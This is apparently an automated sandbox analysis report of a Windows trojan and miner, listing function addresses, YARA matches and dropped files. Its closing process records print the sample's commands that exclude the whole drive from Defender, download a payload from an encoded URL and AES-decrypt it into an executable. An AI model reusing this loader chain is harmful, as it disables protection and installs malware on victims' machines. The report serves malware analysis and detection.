Source: C:\Windows\explorer.exe	Code function: 16_2_00E07940 GetCurrentProcess,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,GetThreadContext,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,TerminateProcess,	16_2_00E07940
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC85B9 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	19_2_0000016DE6BC85B9
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE86C1394 NtWriteFile,	19_2_0000016DE86C1394
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB85B9 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	31_2_000001677ADB85B9
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677C7E1394 NtCreatePartition,	31_2_000001677C7E1394

Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

File created: C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140013021	0_2_0000000140013021
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140013507	0_2_0000000140013507
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140010210	0_2_0000000140010210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140015220	0_2_0000000140015220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000014000EA48	0_2_000000014000EA48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140014E80	0_2_0000000140014E80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140014E90	0_2_0000000140014E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140012E97	0_2_0000000140012E97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140015F30	0_2_0000000140015F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000014000B758	0_2_000000014000B758
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0000000140013798	0_2_0000000140013798
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00324827	13_2_00324827
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00325814	13_2_00325814
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0032505A	13_2_0032505A
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_003301AF	13_2_003301AF
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00331B14	13_2_00331B14
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0032542C	13_2_0032542C
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0032FC5E	13_2_0032FC5E
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00324CBC	13_2_00324CBC
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00330DDC	13_2_00330DDC
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00311690	13_2_00311690
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031AE80	13_2_0031AE80
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_0031AED9	13_2_0031AED9
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Code function: 13_2_00330700	13_2_00330700
Source: C:\Windows\explorer.exe	Code function: 16_2_00E01000	16_2_00E01000
Source: C:\Windows\explorer.exe	Code function: 16_2_00E22210	16_2_00E22210
Source: C:\Windows\explorer.exe	Code function: 16_2_00E19CB0	16_2_00E19CB0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E04DA0	16_2_00E04DA0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E25D20	16_2_00E25D20
Source: C:\Windows\explorer.exe	Code function: 16_2_00E07EF0	16_2_00E07EF0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E10740	16_2_00E10740
Source: C:\Windows\explorer.exe	Code function: 16_2_00E0E8C0	16_2_00E0E8C0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E0A8C0	16_2_00E0A8C0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E0B8B0	16_2_00E0B8B0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2E88C	16_2_00E2E88C
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2F834	16_2_00E2F834
Source: C:\Windows\explorer.exe	Code function: 16_2_00E339FC	16_2_00E339FC
Source: C:\Windows\explorer.exe	Code function: 16_2_00E07940	16_2_00E07940
Source: C:\Windows\explorer.exe	Code function: 16_2_00E2CAFC	16_2_00E2CAFC
Source: C:\Windows\explorer.exe	Code function: 16_2_00E352C8	16_2_00E352C8
Source: C:\Windows\explorer.exe	Code function: 16_2_00E112B0	16_2_00E112B0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E22286	16_2_00E22286
Source: C:\Windows\explorer.exe	Code function: 16_2_00E29BEC	16_2_00E29BEC
Source: C:\Windows\explorer.exe	Code function: 16_2_00E0CBF0	16_2_00E0CBF0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E35B2C	16_2_00E35B2C
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1ACE0	16_2_00E1ACE0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1A4A0	16_2_00E1A4A0
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1C491	16_2_00E1C491
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1C410	16_2_00E1C410
Source: C:\Windows\explorer.exe	Code function: 16_2_00E365D8	16_2_00E365D8
Source: C:\Windows\explorer.exe	Code function: 16_2_00E12690	16_2_00E12690
Source: C:\Windows\explorer.exe	Code function: 16_2_00E22660	16_2_00E22660
Source: C:\Windows\explorer.exe	Code function: 16_2_00E0DE20	16_2_00E0DE20
Source: C:\Windows\explorer.exe	Code function: 16_2_00E1CFC0	16_2_00E1CFC0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C93C0	18_2_022C93C0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C1000	18_2_022C1000
Source: C:\Windows\explorer.exe	Code function: 18_2_022C6640	18_2_022C6640
Source: C:\Windows\explorer.exe	Code function: 18_2_022C34B0	18_2_022C34B0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C6E70	18_2_022C6E70
Source: C:\Windows\explorer.exe	Code function: 18_2_023802A0	18_2_023802A0
Source: C:\Windows\explorer.exe	Code function: 18_2_022D6290	18_2_022D6290
Source: C:\Windows\explorer.exe	Code function: 18_2_0238B0E0	18_2_0238B0E0
Source: C:\Windows\explorer.exe	Code function: 18_2_023581A0	18_2_023581A0
Source: C:\Windows\explorer.exe	Code function: 18_2_0238A674	18_2_0238A674
Source: C:\Windows\explorer.exe	Code function: 18_2_0238D6B8	18_2_0238D6B8
Source: C:\Windows\explorer.exe	Code function: 18_2_022CA7A0	18_2_022CA7A0
Source: C:\Windows\explorer.exe	Code function: 18_2_0234A410	18_2_0234A410
Source: C:\Windows\explorer.exe	Code function: 18_2_02381480	18_2_02381480
Source: C:\Windows\explorer.exe	Code function: 18_2_023684C0	18_2_023684C0
Source: C:\Windows\explorer.exe	Code function: 18_2_02346510	18_2_02346510
Source: C:\Windows\explorer.exe	Code function: 18_2_022F05A0	18_2_022F05A0
Source: C:\Windows\explorer.exe	Code function: 18_2_022C55D0	18_2_022C55D0
Source: C:\Windows\explorer.exe	Code function: 18_2_02381A90	18_2_02381A90
Source: C:\Windows\explorer.exe	Code function: 18_2_0238AAF4	18_2_0238AAF4
Source: C:\Windows\explorer.exe	Code function: 18_2_0235282A	18_2_0235282A
Source: C:\Windows\explorer.exe	Code function: 18_2_0238B84C	18_2_0238B84C
Source: C:\Windows\explorer.exe	Code function: 18_2_02380900	18_2_02380900
Source: C:\Windows\explorer.exe	Code function: 18_2_022C5E10	18_2_022C5E10
Source: C:\Windows\explorer.exe	Code function: 18_2_0235FE70	18_2_0235FE70
Source: C:\Windows\explorer.exe	Code function: 18_2_02383EB0	18_2_02383EB0
Source: C:\Windows\explorer.exe	Code function: 18_2_022F3EC0	18_2_022F3EC0
Source: C:\Windows\explorer.exe	Code function: 18_2_0234EEC0	18_2_0234EEC0
Source: C:\Windows\explorer.exe	Code function: 18_2_022CAF00	18_2_022CAF00
Source: C:\Windows\explorer.exe	Code function: 18_2_02351F8F	18_2_02351F8F
Source: C:\Windows\explorer.exe	Code function: 18_2_02380FC0	18_2_02380FC0
Source: C:\Windows\explorer.exe	Code function: 18_2_022DDC50	18_2_022DDC50
Source: C:\Windows\explorer.exe	Code function: 18_2_02384D94	18_2_02384D94
Source: C:\Windows\explorer.exe	Code function: 18_2_0237FDF0	18_2_0237FDF0
Source: C:\Windows\explorer.exe	Code function: 18_2_02385DF0	18_2_02385DF0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC1570	19_2_00007FF66CCC1570
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCDAE14	19_2_00007FF66CCDAE14
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC5D60	19_2_00007FF66CCC5D60
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCD9690	19_2_00007FF66CCD9690
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCD3650	19_2_00007FF66CCD3650
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCEC670	19_2_00007FF66CCEC670
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCF0010	19_2_00007FF66CCF0010
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCEBFA0	19_2_00007FF66CCEBFA0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC4F40	19_2_00007FF66CCC4F40
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCD4F3B	19_2_00007FF66CCD4F3B
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC31F0	19_2_00007FF66CCC31F0
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC9990	19_2_00007FF66CCC9990
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCD2938	19_2_00007FF66CCD2938
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCCEB30	19_2_00007FF66CCCEB30
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCCC240	19_2_00007FF66CCCC240
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCC83C1	19_2_00007FF66CCC83C1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCD4520	19_2_00007FF66CCD4520
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCE5440	19_2_00007FF66CCE5440
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_00007FF66CCE1460	19_2_00007FF66CCE1460
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC85B9	19_2_0000016DE6BC85B9
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC7DAD	19_2_0000016DE6BC7DAD
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC906D	19_2_0000016DE6BC906D
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC8189	19_2_0000016DE6BC8189
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE6BC6ED1	19_2_0000016DE6BC6ED1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 19_2_0000016DE86C3360	19_2_0000016DE86C3360
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB85B9	31_2_000001677ADB85B9
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB7DAD	31_2_000001677ADB7DAD
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB6ED1	31_2_000001677ADB6ED1
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB906D	31_2_000001677ADB906D
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677ADB8189	31_2_000001677ADB8189
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: 31_2_000001677C7E3360	31_2_000001677C7E3360

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Windows\explorer.exe	Code function: String function: 022F3030 appears 48 times
Source: C:\Windows\explorer.exe	Code function: String function: 00E28378 appears 48 times
Source: C:\Windows\explorer.exe	Code function: String function: 022D5C20 appears 59 times
Source: C:\Windows\explorer.exe	Code function: String function: 02313CE0 appears 137 times
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Code function: String function: 00007FF66CCC37E0 appears 70 times

Source: 13.2.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.powershell.exe.29e75ee9280.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.downloaded_file.exe.fedfd8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.explorer.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.powershell.exe.29e75e6b438.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.powershell.exe.29e75e6b438.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.explorer.exe.22c0000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 13.0.downloaded_file.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.powershell.exe.29e75ee9280.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.downloaded_file.exe.fedfd8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000013.00000002.2047760821.0000016DE66D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001F.00000002.2065498416.000001677AB40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000013.00000002.2048053802.0000016DE6950000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001F.00000002.2064926837.000001677A63A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000013.00000002.2047498175.0000016DE6452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001F.00000002.2065257681.000001677A8C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: Process Memory Space: powershell.exe PID: 7216, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7644, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.mine.winEXE@59/22@2/4

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_0031CA00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

13_2_0031CA00

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Code function: 13_2_00312AB0 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoUninitialize,

13_2_00312AB0

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Mutant created: \Sessions\1\BaseNamedObjects\{7E105FD4-6112-4FB9-A722-91E984087449}
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Mutant created: \Sessions\1\BaseNamedObjects\{16875766-AD57-416F-8330-F0B6BCC3AFF1}
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Mutant created: \Sessions\1\BaseNamedObjects\{D3378A42-4880-48C8-9826-A27CECC41889}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Mutant created: \Sessions\1\BaseNamedObjects\{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\295B.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe"

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Command line argument: %s\explorer.exe	13_2_00301000
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Command line argument: %s\svchost.exe	13_2_00301000
Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe	Command line argument: %s\cmd.exe	13_2_00301000

Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: explorer.exe, explorer.exe, 00000012.00000002.2675679340.00000000023A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: explorer.exe, explorer.exe, 00000012.00000002.2675679340.00000000023A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: explorer.exe, explorer.exe, 00000012.00000002.2675679340.00000000023A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: explorer.exe, 00000010.00000002.2934846757.0000000003930000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2015791571.00000000035FA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2675679340.00000000023A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: explorer.exe, 00000012.00000003.2016856593.0000000002757000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2017112482.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2017151466.0000000002766000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 44%

Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

File read: C:\Users\user\AppData\Local\Temp\downloaded_file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net session
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"
